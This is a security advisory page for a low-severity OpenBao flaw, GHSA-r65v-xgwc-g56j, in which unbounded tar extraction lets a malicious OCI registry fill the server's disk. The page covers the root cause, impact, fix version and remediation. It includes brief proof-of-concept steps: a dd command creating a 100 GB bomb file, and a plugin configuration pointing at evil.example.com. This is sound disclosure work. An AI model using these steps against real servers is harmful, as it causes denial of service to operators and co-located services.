OpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)GHSA-r65v-xgwc-g56j
LOWFix: openbao/openbao#2941GHSA-r65v-xgwc-g56j is a low-severity (CVSS 3.1) Uncontrolled Resource Consumption vulnerability in github.com/openbao/openbao. A fix is available for github.com/openbao/openbao — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-r65v-xgwc-g56j.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/openbao/openbaoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
Details
Root cause
helper/pluginutil/oci/downloader.go:301:
if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
PoC
- Set up a malicious OCI registry
- Create a decompression bomb binary:
dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary - Package it in a minimal OCI image
- Push to the malicious registry
- Configure victim OpenBao to use this registry:
plugin "secrets" "bomb" { image = "evil.example.com/plugin" version = "v1.0.0" binary_name = "openbao-plugin-secrets-bomb" sha256sum = "0000000000000000000000000000000000000000000000000000000000000000" } plugin_auto_download = true - Start OpenBao (or trigger SIGHUP), load OCI image, disk fill -> cause DoS
Impact
- Denial of Service: Disk exhaustion on the OpenBao server
- Cascading failure: Co-located services (databases, other apps) also fail when the disk is full
- Difficult recovery: If the process is killed mid-extraction, the partial file remains on disk and is not cleaned up
- Repeated exploitation: On SIGHUP or restart with plugin_auto_download = true, the bomb is re-downloaded
Remediation
- Validate
header.Sizeagainst a configurable maximum before opening the output file - Wrap
tarReaderinio.LimitReader(tarReader, maxSize+1)and check bytes written after copy - Add a max_size configuration field to PluginConfig for operator control (default: 1 GiB)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/openbao/openbao | all versions | 0.0.0-20260420180337-2b2a901aa9f7go get github.com/openbao/openbao@v0.0.0-20260420180337-2b2a901aa9f7 |
Affected Products
openbaoopenbaoDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/openbao/openbao, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/openbao/openbao to 0.0.0-20260420180337-2b2a901aa9f7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r65v-xgwc-g56j is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-r65v-xgwc-g56j in your dependencies?
Find it across Go, including transitive dependencies.